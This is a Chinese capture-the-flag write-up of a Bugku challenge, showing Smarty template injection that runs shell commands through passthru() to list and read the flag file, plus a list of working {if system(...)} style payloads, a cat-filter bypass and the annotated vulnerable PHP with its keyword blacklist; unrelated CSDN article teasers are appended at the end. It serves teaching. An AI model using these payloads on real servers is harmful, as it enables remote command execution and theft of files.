Bugku-CTF-聪明的php
pass a parameter and maybe the flag file's filename is random :>
传递一个参数,可能标记文件的文件名是随机的:
于是传一下参,在原网页后面加上/?a=1,发现网页出现了变化
3.传入参数,一般情况下是文件包含,或者命令执行,而这道题目比较新颖,使用的是php模板注入
4.根据测试2*4=8,确定是smarty
模板注入
测试phpinfo()
函数
http://114.67.246.176:18387/?a={if phpinfo()}{/if}
5.真的是百密一疏,过滤了好多的函数,好在没有把passthru()函数
过滤
http://114.67.246.176:18387/?a={if passthru("ls /")}{/if}
6.没有发现flag,但是发现_12016
文件,直接读一波,cat被过滤了,我是用的是more
http://114.67.246.176:18387/?a={if passthru("more /_12016 ")}{/if}
得到flag
二、知识点
1. 常用payload
smary中的{if}标签中可以执行的php语句
{if phpinfo()}{/if}
{if system('ls')}{/if}
{if readfile('/flag')}{/if}
{if show_source('/flag')}{/if}
{if system('cat ../../../../flag')}{/if}
2.passthru()函数
(PHP 4, PHP 5, PHP 7, PHP 8)passthru
— 执行外部程序并且显示原始输出
语法:
passthru(string $command, int &$return_var = ?): void
同 exec() 函数类似, passthru() 函数 也是用来执行外部命令(command)的。 当所执行的 Unix 命令输出二进制数据, 并且需要直接传送到浏览器的时候, 需要用此函数来替代 exec() 或 system() 函数。 常用来执行诸如 pbmplus 之类的可以直接输出图像流的命令。 通过设置 Content-type 为 image/gif, 然后调用 pbmplus 程序输出 gif 文件, 就可以从 PHP 脚本中直接输出图像到浏览器。
3.cat绕过
可以使用其他函数如:less、more、tac
4.system|readfile|gz|exec|eval|cat|assert|file|fgets
-
system: PHP中的
system
函数用于执行命令行命令,并可返回命令的输出。如果允许用户输入传递给system
,可能会允许攻击者执行任意命令。 -
readfile:
readfile
函数用于输出一个文件的内容。如果用户可以控制该函数的参数,他们可能会读取服务器上的敏感文件。 -
gz: 这可能指的是与
gz
相关的函数,如gzopen
、gzread
等,用于处理GZIP压缩文件。如果不当使用,可能会引发安全问题。 -
exec: 类似于
system
,exec
函数用于执行外部程序,并且可以提供更多的输出控制。这同样可以被用来执行恶意命令。 -
eval:
eval
函数执行字符串作为PHP代码。这是极其危险的,因为它允许执行任意PHP代码。 -
cat: 在Unix/Linux系统中,
cat
命令用于连接文件并打印到标准输出设备。在PHP中,没有内置的cat
函数,但攻击者可能会尝试利用它来读取文件。 -
assert: PHP中的
assert
函数用于评估一个表达式,并在表达式结果为FALSE时终止脚本执行。然而,如果assert
被用来执行外部代码,它可能会成为一个安全漏洞。 -
file: 可能指的是
file_get_contents
函数,它用于读取文件或URL内容。如果用户可以控制这个函数的参数,他们可能会读取服务器上的敏感文件。 -
fgets:
fgets
函数用于从文件指针中读取一行。如果用户可以控制文件指针的来源,他们可能会读取未授权的内容。
代码审计:
pass a parameter and maybe the flag file's filename is random :> <?php
include('./libs/Smarty.class.php'); #文件包含
echo "pass a parameter and maybe the flag file's filename is random :>"; #无需审计
$smarty = new Smarty(); #smarty引入,实例化 Smarty 模板引擎的一个新对象
if($_GET){highlight_file('index.php'); #高亮文字foreach ($_GET AS $key => $value) #foreach方法,将get的值传给value
#foreach:PHP中的一个循环控制结构,用于遍历数组中的每个元素。
#$_GET:一个超全局数组,包含了所有通过GET请求方法(即在URL中附加的参数)传递给当前脚本的参数。
#AS:关键字,用于在foreach循环中指定数组元素的键($key)和值($value)。
#$key:循环中数组元素的键(参数名)。
#$value:循环中数组元素的值(参数值{print $key."\n";if(preg_match("/flag|\/flag/i", $value)){ #对value的值进行正则匹配$smarty->display('./template.html');# $smarty:这是之前通过 new Smarty(); 创建的 Smarty 对象的实例。
# ->:在 PHP 中,这个符号用来调用对象的方法或访问对象的属性。
# display:这是 Smarty 对象的一个方法,用于将指定的模板文件呈现(渲染)为输出。
# './template.html':这是传递给 display 方法的参数,指定了模板文件的路径。这里的 ./ 表示当前目录,template.html 是模板文件的名称。}elseif(preg_match("/system|readfile|gz|exec|eval|cat|assert|file|fgets/i", $value)){ #对value的值进行正则匹配$smarty->display('./template.html'); }else{$smarty->display("eval:".$value);}}
}
?>
原文链接:https://blog.csdn.net/m_de_g/article/details/120380488
https://baijiahao.baidu.com/s?id=1698341051395357077&wfr=spider&for=pc
相关文章:
Bugku-CTF-聪明的php
pass a parameter and maybe the flag files filename is random :> 传递一个参数,可能标记文件的文件名是随机的: 于是传一下参,在原网页后面加上/?a1,发现网页出现了变化 3.传入参数,一般情况下是文件包含,或者命令执行&…...
【MySQL进阶】MySQL主从复制
目录 MySQL主从复制 概念 主从形式 一主多从 多主一从 双主复制 主从级联复制 主从复制原理 三个线程 两个日志文件 主从复制的主要工作模式 异步复制 半同步复制 全同步复制 MySQL主从复制 概念 MySQL主从复制是一种数据分布机制,允许从一个数据库服…...
本地部署文生图模型 Flux
本地部署文生图模型 Flux 0. 引言1. 本地部署1-1. 创建虚拟环境1-2. 安装依赖模块1-3. 创建 Web UI1-4. 启动 Web UI1-5. 访问 Web UI 0. 引言 2024年8月1日,blackforestlabs.ai发布了 FLUX.1 模型套件。 FLUX.1 文本到图像模型套件,该套件定义了文本到…...
谷粒商城实战笔记-127-全文检索-ElasticSearch-整合-测试复杂检索
文章目录 一,使用Elasticsearch的Java RESTHighLevel Client完成复杂的查询请求1. 创建检索请求 (SearchRequest)2. 构造检索条件 (SearchSourceBuilder)3. 执行检索 (SearchResponse)4. 处理解析结果5. 获取聚合信息 二,AI时代的效率提升 一,…...
解锁PyCharm:破解依赖库导入之谜
解锁PyCharm:破解依赖库导入之谜 PyCharm作为Python开发者的强大IDE,提供了丰富的功能来简化开发流程。然而,在使用过程中,开发者可能会遇到导入依赖库时出现的错误。本文将深入探讨PyCharm中导入依赖库报错的问题,并…...
JSON-Viewer插件:json格式查看器
npm install vue-json-viewer 2,main.js 引入 import JsonViewer from vue-json-viewer Vue.use(JsonViewer) 3,组件里写入这个组件 <json-viewer:value"textSecond":expand-depth"5"copyableboxedsort></json-viewer…...
HDFS块信息异常,spark无法读取数据
背景:flume数据落盘到hdfs上时,正在写入的文件一般是以.log.tmp结尾的文件,当flume将文件关闭以后将变为:.log 结尾的文件。由于我们使用阿里云的服务器,经常会有个别节点挂掉(进程在,无法通信,…...
TCP协议概述
TCP(Transmission Control Protocol,传输控制协议)是一种面向连接的、可靠的、基于字节流的传输层通信协议。它由IETF的RFC 793定义,并在各种通信系统中广泛应用,为不同但互连的计算机通信网络的主计算机中的成对进程之…...
SpringSecurity-3(认证和授权+SpringSecurity入门案例+自定义认证+数据库认证)
SpringSecurity使用数据库数据完成认证 5 SpringSecurity使用数据库数据完成认证5.1 认证流程分析5.1.1 UsernamePasswordAuthenticationFilter5.1.2 AuthenticationManager5.1.3 AbstractUserDetailsAuthenticationProvider5.1.4 AbstractUserDetailsAuthenticationProvider中…...
英国AI大学排名
计算机学科英国Top10 “计算机科学与信息系统”学科除了最受关注的“计算机科学”专业,还包括了“人工智能”“软件工程”“计算机金融”等众多分支专业。 1.帝国理工学院 Imperial College London 单以计算机专业本科来讲,仅Computing这个专业&#x…...
渗透测试与高级攻防技术(二)网络安全技术的前沿探讨:渗透测试与高级攻防
文章目录 引言 第一章:入侵检测与防御系统(IDS/IPS)1.1 IDS与IPS的区别1.2 Cisco IDS/IPS系统 第二章:蜜罐技术2.1 蜜罐技术概述2.2 搭建蜜罐系统2.3 蜜罐技术的优缺点 第三章:社会工程攻击3.1 社会工程攻击概述3.2 社…...
Windows系统下安装mujoco环境的教程【原创】
在学习Mujoco仿真的过程中,我先前是在linux系统下进行的研究与学习,今天来试试看在windows系统中安装mujoco仿真环境。 先前在linux中的一些关于mujoco学习记录的博客:Mujoco仿真【xml文件的学习 3】_mujoco打开xml文件-CSDN博客 下面开始wi…...
【秋招笔试】2024-08-03-科大讯飞秋招笔试题(算法岗)-三语言题解(CPP/Python/Java)
🍭 大家好这里是清隆学长 ,一枚热爱算法的程序员 💻 ACM金牌团队🏅️ | 多次AK大厂笔试 | 编程一对一辅导 ✨ 本系列打算持续跟新 秋招笔试题 👏 感谢大家的订阅➕ 和 喜欢💗 ✨ 笔试合集传送们 -> 🧷春秋招笔试合集 🍖 本次题目难度中等偏上,最后一题又是…...
2024华数杯数学建模竞赛选题建议+初步分析
提示:DS C君认为的难度:C<A<B,开放度:A<B<C。 综合评价来看 A题适合对机械臂和机器人运动学感兴趣的同学,尤其是有一定编程和优化算法基础的同学。不建议非相关专业同学选择。 B题挑战较大࿰…...
大模型的经典面试问题及答案
大语言模型(LLM)在人工智能中变得越来越重要,在各个行业都有应用。随着对大语言模型专业人才需求的增长,本文提供了一套全面的面试问题和答案,涵盖了基本概念、先进技术和实际应用。如果你正在为面试做准备,…...
nodejs环境搭建
1.准备工作 将他解压到指定路径(我是在D:\tools)并在解压文件下建立node_global和node_cache这两个目录 注1:新建目录说明(自带的比较难找,较麻烦) node_global:npm全局安装位置 node_cache:npm缓存路径 如图: 2.配置环境变量 …...
C#基础:LINQ表达式的单独定义和编译使用
//编写表达式 Expression<Func<AlarmGroupInfo, bool>> express x > x.DataSource 1 && x.AlarmStatus2;// 编译表达式 Func<AlarmGroupInfo, bool> compiledExpression express.Compile();// 应用到 LINQ 查询 var resultlistss alarmgroupl…...
前端面试:八股文系列(一)
更多详情:爱米的前端小笔记(csdn~xitujuejin~zhiHu~Baidu~小红shu)同步更新,等你来看!都是利用下班时间整理的,整理不易,大家多多👍💛➕🤔哦!你们…...
设施农业“AutoML“时代:大模型自动调参,让农业算法模型更简单易用
(于景鑫 北京市农林科学院智能装备技术研究中心)设施农业是现代农业的重要发展方向,但在数字化、智能化的进程中仍面临诸多挑战。传统的农业算法模型虽然可以为设施农业提供一定的决策支持,但在实际应用中往往受限于参数调优复杂、模型泛化能力差等因素。…...
LinkedList接口源码解读
LinkedList 接口源码解读 前言 因为追求质量,所以写的较慢。大概在接下来的三天内会把LinkedList源码解析出完。已经出完啦!废话不多说,正片开始! (文章最后面有后记哦~) 大家都知道,LinkedL…...
nohup将代码放到后端运行查看nohup命令
tail -f nohup.outnohup python your_script.py > /path/to/your/directory/output.log 2>&1 &...
MacOS的100个超实用技巧
目录 1. 界面和导航 1.1 使用热角 1.2 多桌面切换 1.3 快速访问应用 1.4 隐藏/显示菜单栏 1.5 使用Mission Control 2. 文件管理 2.1 使用Finder标签 2.2 快速查看文件 2.3 标签式窗口管理 2.4 使用Smart Folders 2.5 文件重命名 3. 系统设置 3.1 自定义Dock 3.…...
本地调试指引文档
在开发组件库时,我们经常需要在真实的项目中测试组件库的功能,所以需要进行本地调试,本文介绍两种组件库本地调试流程, 1.使用beta版本 2.使用npm link 两种都可以作为本地调试的方案,本文作为一个参考资料࿰…...
【C++】一堆数组 冒泡排序
冒泡排序,一种很常见的排序法师 这章要划重点,很重要!! 排序思路为前一个元素与后一个元素比大小,一直循环一轮,找出最大/最小的那个元素后,进行下一轮,找到第二大/小的元素......…...
[最短路SPFA]--启动!!!!!
基础模板 #include<bits/stdc.h> #define ll long long #define fi first #define se second #define pb push_back #define PII pair<int,int > #define IOS ios::sync_with_stdio(false),cin.tie(0),cout.tie(0) using namespace std; const int N 1e610; int …...
大模型是否潜在地进行多跳推理?
人工智能咨询培训老师叶梓 转载标明出处 以往的研究表明,基于Transformer的LLMs能够在参数中存储和检索事实信息,以完成简单提示,例如“Stevie Wonder的母亲是谁”。此外,当必要信息明确给出时,LLMs表现出了显著的上下…...
人为什么不能长期待在家里?三个原因告诉你答案
在现代社会的快节奏生活中,人们时常渴望能够拥有一段长时间待在家里的闲暇时光,幻想这会是一段惬意、舒适且自由的经历。然而,实际情况往往并非如此。许多人在经历了数日甚至更长时间的居家生活后,会逐渐感受到诸多负面情绪和不良影响。以下将详细阐述人为什么不能长期待在…...
MATLAB画散点密度图(附代码和测试数据的压缩包)
1. 有关 Matlab 获取代码关注WZZHHH回复关键词,或者咸鱼关注:WZZHHH123 怀俄明探空站数据解算PWV和Tm:怀俄明探空站数据解算PWV和Tm 怀俄明多线程下载探空站数据(包括检查和下载遗漏数据的代码):怀俄明多线…...
SSH配置命令
前置环境:端口配置IP地址,client和server之间可ping通,此处省略 server端: 开启stelnet [Huawei]stelnet server enable Info: Succeeded in starting the Stelnet server. aaa模式相关配置 #进入aaa模式 [Huawei]aaa # 添加用户admin和…...
谷粒商城实战记录-虚拟机开启密码认证登录
文章目录 一,虚拟机无法用用户名密码登录二,解决方案1,修改配置2,重启sshd服务3,测试SSH登录注意事项结论 参考文献 一,虚拟机无法用用户名密码登录 当使用Vagrant创建和管理虚拟机时,通常会通…...
程序员做网站美工能过关吗/百度云搜索引擎官网
【Struts2国际化资源文件定义的3种范围方法】1)全局的国际化资源文件,对所有的Action和View都有效定义方式:在struts.xml中增加全局资源文件定路径定义: <constant name"struts.custom.i18n.resources" value…...
网站运维工作内容/长安网站优化公司
贵阳中职计算机专业学校就找贵阳重点中职学校。 不上高中怎么办?首先,如果初三没有考上高中,一定不要出去打工,初中毕业也就十五六岁的年纪,没有技能、没有学历,更没有社会经验,如果此时过早的进…...
敦煌做网站 条件/已备案域名30元
React Hooks+Laravel 前端博客实战 阐述用create-next-app快速创建项目建立博客首页按需加载 Ant Design配置文件 blog\package.json阐述 我们先完成博客的前端界面的制作,主要完成的功能就是用户的访问,文章列表和文章详情页面。 因为Blog的前台需要SEO操作,所以我们一定…...
wordpress本地如何安装/网站托管维护
libevent学习笔记十四:libevent 信号处理实例代码 上一节介绍了libevent 实现多线程的方法,然而在多线程的环境中注册信号事件,还是有一些情况需要小心处理,那就是不能在多个 libevent 实例上注册信号事件。依然冠名追加到 libeve…...
视频网站建设价位/企业营销型网站建设
http://zhushou.huihui.cn/ 转载于:https://www.cnblogs.com/webRobot/p/7812916.html...
摄影网站建设任务书/青青河边草直播免费观看
1.距离顺序排列矩阵单元格 //给出 R 行 C 列的矩阵,其中的单元格的整数坐标为 (r, c),满足 0 < r < R 且 0 < c < C。 // // 另外,我们在该矩阵中给出了一个坐标为 (r0, c0) 的单元格。 // // 返回矩阵中的所有单元格的坐标&am…...